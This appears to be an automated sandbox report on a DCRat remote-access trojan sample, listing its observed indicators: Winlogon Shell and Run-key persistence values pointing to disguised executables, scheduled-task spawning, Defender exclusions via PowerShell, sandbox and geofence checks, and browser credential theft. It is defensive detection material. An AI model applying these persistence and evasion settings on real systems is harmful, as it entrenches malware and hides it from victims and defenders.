dcrat | 8b114ae5d486948a5f4078f2e724d55e0a56014320af07f0f9228e0e77ae6be0

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\", \"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\", \"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\wininit.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\", \"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\", \"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\wininit.exe\", \"C:\\BrowserSvc\\msAgentreviewCommon.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\WmiPrvSE.exe\", \"C:\\Program Files\\Uninstall Information\\upfc.exe\", \"C:\\Windows\\Containers\\unsecapp.exe\", \"C:\\Program Files\\Windows Mail\\sihost.exe\", \"C:\\BrowserSvc\\dllhost.exe\", \"C:\\BrowserSvc\\csrss.exe.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\", \"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\", \"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\", \"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\wininit.exe\", \"C:\\BrowserSvc\\msAgentreviewCommon.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\WmiPrvSE.exe\", \"C:\\Program Files\\Uninstall Information\\upfc.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\", \"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\", \"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\wininit.exe\", \"C:\\BrowserSvc\\msAgentreviewCommon.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\WmiPrvSE.exe\", \"C:\\Program Files\\Uninstall Information\\upfc.exe\", \"C:\\Windows\\Containers\\unsecapp.exe\", \"C:\\Program Files\\Windows Mail\\sihost.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\", \"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\", \"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\wininit.exe\", \"C:\\BrowserSvc\\msAgentreviewCommon.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\WmiPrvSE.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\", \"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\", \"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\wininit.exe\", \"C:\\BrowserSvc\\msAgentreviewCommon.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\WmiPrvSE.exe\", \"C:\\Program Files\\Uninstall Information\\upfc.exe\", \"C:\\Windows\\Containers\\unsecapp.exe\", \"C:\\Program Files\\Windows Mail\\sihost.exe\", \"C:\\BrowserSvc\\dllhost.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\", \"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\", \"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\", \"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\", \"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\wininit.exe\", \"C:\\BrowserSvc\\msAgentreviewCommon.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\", \"C:\\BrowserSvc\\csrss.exe\", \"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\", \"C:\\BrowserSvc\\RunShell.exe\", \"C:\\Users\\Public\\Libraries\\sppsvc.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\", \"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\", \"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\wininit.exe\", \"C:\\BrowserSvc\\msAgentreviewCommon.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\WmiPrvSE.exe\", \"C:\\Program Files\\Uninstall Information\\upfc.exe\", \"C:\\Windows\\Containers\\unsecapp.exe\""	csrss.exe.exe

Process spawned unexpected child process 54 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2572	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2152	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1156	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3336	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3692	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1880	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1796	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4608	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3056	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4844	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	240	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4444	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3428	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1040	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1844	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1984	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4284	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4128	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5088	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4648	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4816	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3380	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2864	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1512	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	832	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	388	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1704	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3888	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2688	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3568	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3164	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3388	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1788	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2316	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2076	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	548	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4076	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2732	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4780	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1880	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	904	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1000	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4816	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1872	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3992	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3972	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5116	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	472	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1936	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3484	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4740	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2964	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1724	2072	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	236	2072	schtasks.exe	86

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4944	powershell.exe
4616	powershell.exe
2936	powershell.exe
4076	powershell.exe
4348	powershell.exe
3784	powershell.exe
2648	powershell.exe
2444	powershell.exe
5056	powershell.exe
1020	powershell.exe
3600	powershell.exe
4160	powershell.exe
1600	powershell.exe
4924	powershell.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2836	attrib.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	reg.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\Control Panel\International\Geo\Nation	WinSFX.exe
Key value queried	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\Control Panel\International\Geo\Nation	Checker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\Control Panel\International\Geo\Nation	RunShell.exe
Key value queried	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\Control Panel\International\Geo\Nation	csrss.exe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\Control Panel\International\Geo\Nation	msAgentreviewCommon.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSFX.exe	javaw.exe

Executes dropped EXE 7 IoCs

pid	Process
4044	WinSFX.exe
860	Checker.exe
2432	RunShell.exe
2616	msAgentreviewCommon.exe
456	csrss.exe.exe
3768	msAgentreviewCommon.exe
3152	sihost.exe

Loads dropped DLL 1 IoCs

pid	Process
4864	javaw.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 36 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\BrowserSvc\\csrss.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit = "\"C:\\Program Files\\Windows Portable Devices\\wininit.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss.exe = "\"C:\\BrowserSvc\\csrss.exe.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunShell = "\"C:\\BrowserSvc\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\WmiPrvSE.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\unsecapp = "\"C:\\Windows\\Containers\\unsecapp.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Program Files\\Windows Mail\\sihost.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\BrowserSvc\\dllhost.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunShell = "\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunShell = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\BrowserSvc\\dllhost.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\Program Files\\7-Zip\\Lang\\upfc.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\unsecapp = "\"C:\\Windows\\Containers\\unsecapp.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunShell = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\System.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Windows\\Performance\\WinSAT\\DataStore\\explorer.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Program Files\\Windows Mail\\sihost.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files\\Windows Sidebar\\RuntimeBroker.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Users\\Public\\Libraries\\sppsvc.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit = "\"C:\\Program Files\\Windows Portable Devices\\wininit.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\BrowserSvc\\csrss.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\WmiPrvSE.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msAgentreviewCommon = "\"C:\\BrowserSvc\\msAgentreviewCommon.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\Program Files\\Uninstall Information\\upfc.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\Program Files\\Uninstall Information\\upfc.exe\""	csrss.exe.exe
